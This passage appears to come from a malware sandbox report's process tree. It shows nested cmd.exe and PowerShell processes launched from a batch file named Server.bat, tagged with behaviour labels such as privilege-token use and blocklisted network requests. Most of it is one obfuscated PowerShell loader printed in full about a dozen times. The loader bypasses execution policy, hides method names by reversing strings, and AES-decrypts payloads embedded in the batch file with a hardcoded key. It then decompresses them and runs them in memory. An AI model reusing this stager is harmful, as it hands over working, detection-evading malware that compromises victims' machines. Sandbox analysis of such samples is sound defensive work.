        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        58⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        56⤵
        
        PID:1568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        57⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        55⤵
        
        PID:4744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        56⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:3156
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        54⤵
        
        PID:2008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        55⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4684
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        53⤵
        
        PID:4072
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        54⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        52⤵
        
        PID:2592
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        53⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2656
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        51⤵
        
        PID:1912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        52⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4764
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        50⤵
        
        PID:2160
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        51⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4676
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        49⤵
        
        PID:544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        50⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3100
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        48⤵
        
        PID:2280
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        49⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        47⤵
        
        PID:4856
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        48⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1256
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        46⤵
        
        PID:4912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        47⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        45⤵
        
        PID:2960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
